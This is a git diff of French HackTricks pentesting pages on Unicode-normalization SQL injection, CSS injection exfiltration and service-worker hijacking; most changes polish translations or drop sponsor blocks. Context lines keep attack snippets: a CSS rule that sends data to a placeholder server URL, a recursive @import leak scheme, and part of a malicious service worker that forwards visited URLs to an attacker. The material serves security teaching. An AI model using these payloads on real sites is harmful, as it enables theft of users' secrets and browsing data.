Imaginez une page web qui utilise le caractère `'` pour créer des requêtes SQL avec l'entrée de l'utilisateur. Ce web, comme mesure de sécurité, **supprime** toutes les occurrences du caractère **`'`** de l'entrée de l'utilisateur, mais **après cette suppression** et **avant la création** de la requête, il **normalise** l'entrée de l'utilisateur en utilisant **Unicode**.
|
||||||
|
|
||||||
Ensuite, un utilisateur malveillant pourrait insérer un caractère Unicode différent équivalent à `' (0x27)` comme `%ef%bc%87`, lorsque l'entrée est normalisée, un guillemet simple est créé et une **vulnérabilité d'injection SQL** apparaît :
|
Alors, un utilisateur malveillant pourrait insérer un caractère Unicode différent équivalent à `' (0x27)` comme `%ef%bc%87`, lorsque l'entrée est normalisée, un guillemet simple est créé et une **vulnérabilité d'injection SQL** apparaît :
|
||||||
|
|
||||||
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (702).png>)
|
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (702).png>)
|
||||||
|
|
||||||
|
@ -110,7 +96,7 @@ Vous pouvez utiliser l'un des caractères suivants pour tromper l'application we
|
||||||
|
|
||||||
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (312) (2).png>)
|
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (312) (2).png>)
|
||||||
|
|
||||||
Remarquez que par exemple le premier caractère Unicode proposé peut être envoyé sous la forme : `%e2%89%ae` ou `%u226e`
|
Remarquez que, par exemple, le premier caractère Unicode proposé peut être envoyé sous la forme : `%e2%89%ae` ou `%u226e`
|
||||||
|
|
||||||
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (215) (1) (1).png>)
|
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (215) (1) (1).png>)
|
||||||
|
|
||||||
|
@ -126,28 +112,16 @@ L'outil [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* permet de
|
||||||
* [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
|
* [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
|
||||||
* [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html)
|
* [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html)
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les détournements de compte et les attaques par ransomware résultant de malwares volants d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -15,13 +15,6 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## CSS Injection
|
## CSS Injection
|
||||||
|
|
||||||
|
@ -62,7 +55,7 @@ Pour que la technique d'injection CSS soit efficace, certaines conditions doiven
|
||||||
|
|
||||||
### Sélecteur d'attribut aveugle
|
### Sélecteur d'attribut aveugle
|
||||||
|
|
||||||
Comme [**expliqué dans ce post**](https://portswigger.net/research/blind-css-exfiltration), il est possible de combiner les sélecteurs **`:has`** et **`:not`** pour identifier du contenu même à partir d'éléments aveugles. C'est très utile lorsque vous n'avez aucune idée de ce qui se trouve à l'intérieur de la page web chargeant l'injection CSS.\
|
Comme [**expliqué dans ce post**](https://portswigger.net/research/blind-css-exfiltration), il est possible de combiner les sélecteurs **`:has`** et **`:not`** pour identifier du contenu même à partir d'éléments aveugles. Cela est très utile lorsque vous n'avez aucune idée de ce qui se trouve à l'intérieur de la page web chargeant l'injection CSS.\
|
||||||
Il est également possible d'utiliser ces sélecteurs pour extraire des informations de plusieurs blocs du même type comme dans :
|
Il est également possible d'utiliser ces sélecteurs pour extraire des informations de plusieurs blocs du même type comme dans :
|
||||||
```html
|
```html
|
||||||
<style>
|
<style>
|
||||||
|
@ -89,11 +82,11 @@ Au lieu de charger la même page encore et encore avec des dizaines de charges u
|
||||||
```
|
```
|
||||||
1. L'importation va **recevoir un script CSS** des attaquants et le **navigateur va le charger**.
|
1. L'importation va **recevoir un script CSS** des attaquants et le **navigateur va le charger**.
|
||||||
2. La première partie du script CSS que l'attaquant va envoyer est **un autre `@import` vers le serveur des attaquants à nouveau.**
|
2. La première partie du script CSS que l'attaquant va envoyer est **un autre `@import` vers le serveur des attaquants à nouveau.**
|
||||||
1. Le serveur des attaquants ne répondra pas encore à cette demande, car nous voulons fuir quelques caractères et ensuite répondre à cet import avec la charge utile pour fuir les suivants.
|
1. Le serveur des attaquants ne répondra pas encore à cette demande, car nous voulons fuir quelques caractères et ensuite répondre à cette importation avec la charge utile pour fuir les suivants.
|
||||||
3. La deuxième et plus grande partie de la charge utile va être une **charge utile de fuite de sélecteur d'attribut**
|
3. La deuxième et plus grande partie de la charge utile va être une **charge utile de fuite de sélecteur d'attribut**
|
||||||
1. Cela enverra au serveur des attaquants le **premier caractère du secret et le dernier.**
|
1. Cela enverra au serveur des attaquants le **premier caractère du secret et le dernier.**
|
||||||
4. Une fois que le serveur des attaquants a reçu le **premier et le dernier caractère du secret**, il va **répondre à l'importation demandée à l'étape 2**.
|
4. Une fois que le serveur des attaquants a reçu le **premier et le dernier caractère du secret**, il va **répondre à l'importation demandée à l'étape 2**.
|
||||||
1. La réponse va être exactement la même que les **étapes 2, 3 et 4**, mais cette fois elle va essayer de **trouver le deuxième caractère du secret et ensuite l'avant-dernier**.
|
1. La réponse va être exactement la même que les **étapes 2, 3 et 4**, mais cette fois-ci, elle va essayer de **trouver le deuxième caractère du secret et ensuite l'avant-dernier**.
|
||||||
|
|
||||||
L'attaquant va **suivre cette boucle jusqu'à ce qu'il parvienne à fuir complètement le secret**.
|
L'attaquant va **suivre cette boucle jusqu'à ce qu'il parvienne à fuir complètement le secret**.
|
||||||
|
|
||||||
|
@ -113,15 +106,15 @@ Cela permet au script de leak le secret plus rapidement.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Parfois, le script **ne détecte pas correctement que le préfixe + suffixe découvert est déjà le drapeau complet** et il continuera en avant (dans le préfixe) et en arrière (dans le suffixe) et à un certain moment, il se bloquera.\
|
Parfois, le script **ne détecte pas correctement que le préfixe + suffixe découvert est déjà le drapeau complet** et il continuera en avant (dans le préfixe) et en arrière (dans le suffixe) et à un certain moment, il se bloquera.\
|
||||||
Pas de soucis, vérifiez simplement la **sortie** car **vous pouvez y voir le drapeau**.
|
Pas de souci, vérifiez simplement la **sortie** car **vous pouvez y voir le drapeau**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Autres sélecteurs
|
### Autres sélecteurs
|
||||||
|
|
||||||
Autres façons d'accéder aux parties du DOM avec **sélecteurs CSS** :
|
Autres façons d'accéder aux parties du DOM avec **CSS selectors** :
|
||||||
|
|
||||||
* **`.class-to-search:nth-child(2)`** : Cela recherchera le deuxième élément avec la classe "class-to-search" dans le DOM.
|
* **`.class-to-search:nth-child(2)`** : Cela recherchera le deuxième élément avec la classe "class-to-search" dans le DOM.
|
||||||
* **`:empty`** sélecteur : Utilisé par exemple dans [**ce rapport**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
|
* **`:empty`** sélecteur : Utilisé par exemple dans [**ce writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
|
||||||
|
|
||||||
```css
|
```css
|
||||||
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
|
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
|
||||||
|
@ -129,7 +122,7 @@ Autres façons d'accéder aux parties du DOM avec **sélecteurs CSS** :
|
||||||
|
|
||||||
### XS-Search basé sur les erreurs
|
### XS-Search basé sur les erreurs
|
||||||
|
|
||||||
**Référence :** [Attaque basée sur CSS : Abus de unicode-range de @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [PoC XS-Search basé sur les erreurs par @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
**Référence :** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||||
|
|
||||||
L'intention générale est de **utiliser une police personnalisée d'un point de terminaison contrôlé** et de s'assurer que **le texte (dans ce cas, 'A') est affiché avec cette police uniquement si la ressource spécifiée (`favicon.ico`) ne peut pas être chargée**.
|
L'intention générale est de **utiliser une police personnalisée d'un point de terminaison contrôlé** et de s'assurer que **le texte (dans ce cas, 'A') est affiché avec cette police uniquement si la ressource spécifiée (`favicon.ico`) ne peut pas être chargée**.
|
||||||
```html
|
```html
|
||||||
|
@ -168,7 +161,7 @@ font-family: 'poc';
|
||||||
|
|
||||||
### Stylisation du fragment de texte défilant
|
### Stylisation du fragment de texte défilant
|
||||||
|
|
||||||
La **pseudo-classe `:target`** est utilisée pour sélectionner un élément ciblé par un **fragment d'URL**, comme spécifié dans la [spécification des sélecteurs CSS Niveau 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Il est crucial de comprendre que `::target-text` ne correspond à aucun élément à moins que le texte ne soit explicitement ciblé par le fragment.
|
La **pseudo-classe `:target`** est utilisée pour sélectionner un élément ciblé par un **fragment d'URL**, comme spécifié dans la [spécification des sélecteurs CSS niveau 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Il est crucial de comprendre que `::target-text` ne correspond à aucun élément à moins que le texte ne soit explicitement ciblé par le fragment.
|
||||||
|
|
||||||
Une préoccupation de sécurité surgit lorsque des attaquants exploitent la fonctionnalité **Scroll-to-text**, leur permettant de confirmer la présence d'un texte spécifique sur une page web en chargeant une ressource depuis leur serveur via une injection HTML. La méthode consiste à injecter une règle CSS comme ceci :
|
Une préoccupation de sécurité surgit lorsque des attaquants exploitent la fonctionnalité **Scroll-to-text**, leur permettant de confirmer la présence d'un texte spécifique sur une page web en chargeant une ressource depuis leur serveur via une injection HTML. La méthode consiste à injecter une règle CSS comme ceci :
|
||||||
```css
|
```css
|
||||||
|
@ -184,7 +177,7 @@ Pour l'atténuation, les points suivants doivent être notés :
|
||||||
|
|
||||||
1. **Correspondance STTF Contraignante** : Le fragment Scroll-to-text (STTF) est conçu pour correspondre uniquement à des mots ou des phrases, limitant ainsi sa capacité à divulguer des secrets ou des jetons arbitraires.
|
1. **Correspondance STTF Contraignante** : Le fragment Scroll-to-text (STTF) est conçu pour correspondre uniquement à des mots ou des phrases, limitant ainsi sa capacité à divulguer des secrets ou des jetons arbitraires.
|
||||||
2. **Restriction aux Contextes de Navigation de Niveau Supérieur** : Le STTF fonctionne uniquement dans des contextes de navigation de niveau supérieur et ne fonctionne pas dans les iframes, rendant toute tentative d'exploitation plus visible pour l'utilisateur.
|
2. **Restriction aux Contextes de Navigation de Niveau Supérieur** : Le STTF fonctionne uniquement dans des contextes de navigation de niveau supérieur et ne fonctionne pas dans les iframes, rendant toute tentative d'exploitation plus visible pour l'utilisateur.
|
||||||
3. **Nécessité d'une Activation par l'Utilisateur** : Le STTF nécessite un geste d'activation par l'utilisateur pour fonctionner, ce qui signifie que les exploitations ne sont réalisables que par des navigations initiées par l'utilisateur. Cette exigence atténue considérablement le risque que des attaques soient automatisées sans interaction de l'utilisateur. Néanmoins, l'auteur du blog souligne des conditions spécifiques et des contournements (par exemple, ingénierie sociale, interaction avec des extensions de navigateur répandues) qui pourraient faciliter l'automatisation de l'attaque.
|
3. **Nécessité d'une Activation par l'Utilisateur** : Le STTF nécessite un geste d'activation par l'utilisateur pour fonctionner, ce qui signifie que les exploitations ne sont possibles que par des navigations initiées par l'utilisateur. Cette exigence atténue considérablement le risque que des attaques soient automatisées sans interaction de l'utilisateur. Néanmoins, l'auteur du blog souligne des conditions spécifiques et des contournements (par exemple, l'ingénierie sociale, l'interaction avec des extensions de navigateur courantes) qui pourraient faciliter l'automatisation de l'attaque.
|
||||||
|
|
||||||
La connaissance de ces mécanismes et des vulnérabilités potentielles est essentielle pour maintenir la sécurité web et se protéger contre de telles tactiques d'exploitation.
|
La connaissance de ces mécanismes et des vulnérabilités potentielles est essentielle pour maintenir la sécurité web et se protéger contre de telles tactiques d'exploitation.
|
||||||
|
|
||||||
|
@ -412,13 +405,13 @@ div::-webkit-scrollbar:vertical {
|
||||||
background: blue var(--leak);
|
background: blue var(--leak);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
### Exfiltration de nœud de texte (III) : fuite du charset avec une police par défaut en cachant des éléments (ne nécessitant pas de ressources externes) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
### Exfiltration de nœud de texte (III) : fuite du charset avec une police par défaut en cachant des éléments (ne nécessitant pas d'actifs externes) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||||
|
|
||||||
**Référence :** Cela est mentionné comme [une solution infructueuse dans ce rapport](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
**Référence :** Cela est mentionné comme [une solution infructueuse dans ce rapport](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||||
|
|
||||||
Ce cas est très similaire au précédent, cependant, dans ce cas, l'objectif de rendre des **chars spécifiques plus grands que d'autres est de cacher quelque chose** comme un bouton pour ne pas être pressé par le bot ou une image qui ne sera pas chargée. Ainsi, nous pourrions mesurer l'action (ou l'absence d'action) et savoir si un char spécifique est présent dans le texte.
|
Ce cas est très similaire au précédent, cependant, dans ce cas, l'objectif de rendre des **chars spécifiques plus grands que d'autres est de cacher quelque chose** comme un bouton pour ne pas être pressé par le bot ou une image qui ne sera pas chargée. Ainsi, nous pourrions mesurer l'action (ou l'absence d'action) et savoir si un char spécifique est présent dans le texte.
|
||||||
|
|
||||||
### Exfiltration de nœud de texte (III) : fuite du charset par timing de cache (ne nécessitant pas de ressources externes) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
### Exfiltration de nœud de texte (III) : fuite du charset par timing de cache (ne nécessitant pas d'actifs externes) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||||
|
|
||||||
**Référence :** Cela est mentionné comme [une solution infructueuse dans ce rapport](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
**Référence :** Cela est mentionné comme [une solution infructueuse dans ce rapport](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||||
|
|
||||||
|
@ -464,12 +457,6 @@ Donc, si la police ne correspond pas, le temps de réponse lors de la visite du
|
||||||
* [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
|
* [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
|
||||||
* [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
|
* [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Basic Information
|
## Basic Information
|
||||||
|
|
||||||
Un **service worker** est un script exécuté par votre navigateur en arrière-plan, séparé de toute page web, permettant des fonctionnalités qui ne nécessitent pas de page web ou d'interaction utilisateur, améliorant ainsi les capacités de **traitement hors ligne et en arrière-plan**. Des informations détaillées sur les service workers peuvent être trouvées [ici](https://developers.google.com/web/fundamentals/primers/service-workers). En exploitant les service workers dans un domaine web vulnérable, les attaquants peuvent prendre le contrôle des interactions de la victime avec toutes les pages de ce domaine.
|
Un **service worker** est un script exécuté par votre navigateur en arrière-plan, séparé de toute page web, permettant des fonctionnalités qui ne nécessitent pas de page web ou d'interaction utilisateur, améliorant ainsi les capacités de **traitement hors ligne et en arrière-plan**. Des informations détaillées sur les service workers peuvent être trouvées [ici](https://developers.google.com/web/fundamentals/primers/service-workers). En exploitant les service workers dans un domaine web vulnérable, les attaquants peuvent prendre le contrôle des interactions de la victime avec toutes les pages de ce domaine.
|
||||||
|
@ -42,7 +34,7 @@ Pour exploiter cette vulnérabilité, vous devez trouver :
|
||||||
* Un moyen de **télécharger des fichiers JS arbitraires** sur le serveur et un **XSS pour charger le service worker** du fichier JS téléchargé
|
* Un moyen de **télécharger des fichiers JS arbitraires** sur le serveur et un **XSS pour charger le service worker** du fichier JS téléchargé
|
||||||
* Une **requête JSONP vulnérable** où vous pouvez **manipuler la sortie (avec du code JS arbitraire)** et un **XSS** pour **charger le JSONP avec un payload** qui **chargera un service worker malveillant**.
|
* Une **requête JSONP vulnérable** où vous pouvez **manipuler la sortie (avec du code JS arbitraire)** et un **XSS** pour **charger le JSONP avec un payload** qui **chargera un service worker malveillant**.
|
||||||
|
|
||||||
Dans l'exemple suivant, je vais présenter un code pour **enregistrer un nouveau service worker** qui écoutera l'événement `fetch` et **enverra au serveur des attaquants chaque URL récupérée** (c'est le code que vous devez **télécharger** sur le **serveur** ou charger via une **réponse JSONP vulnérable**) :
|
Dans l'exemple suivant, je vais présenter un code pour **enregistrer un nouveau service worker** qui écoutera l'événement `fetch` et **enverra à l serveur des attaquants chaque URL récupérée** (c'est le code que vous devez **télécharger** sur le **serveur** ou charger via une **réponse JSONP vulnérable**) :
|
||||||
```javascript
|
```javascript
|
||||||
self.addEventListener('fetch', function(e) {
|
self.addEventListener('fetch', function(e) {
|
||||||
e.respondWith(caches.match(e.request).then(function(response) {
|
e.respondWith(caches.match(e.request).then(function(response) {
|
||||||
|
@ -105,7 +97,7 @@ Pour plus d'informations sur ce qu'est le DOM Clobbering, consultez :
|
||||||
[dom-clobbering.md](dom-clobbering.md)
|
[dom-clobbering.md](dom-clobbering.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
Si l'URL/domaine que le SW utilise pour appeler **`importScripts`** est **à l'intérieur d'un élément HTML**, il est **possible de le modifier via le DOM Clobbering** pour faire en sorte que le SW **charge un script de votre propre domaine**.
|
Si l'URL/domaine que le SW utilise pour appeler **`importScripts`** est **à l'intérieur d'un élément HTML**, il est **possible de le modifier via le DOM Clobbering** pour faire en sorte que le SW **charge un script depuis votre propre domaine**.
|
||||||
|
|
||||||
Pour un exemple de cela, consultez le lien de référence.
|
Pour un exemple de cela, consultez le lien de référence.
|
||||||
|
|
||||||
|
@ -113,12 +105,6 @@ Pour un exemple de cela, consultez le lien de référence.
|
||||||
|
|
||||||
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
@ -129,7 +115,7 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -6,7 +6,7 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Supportez HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
@ -15,23 +15,9 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Exécution de Méthode de Même Origine
|
## Exécution de Méthode de Même Origine
|
||||||
|
|
||||||
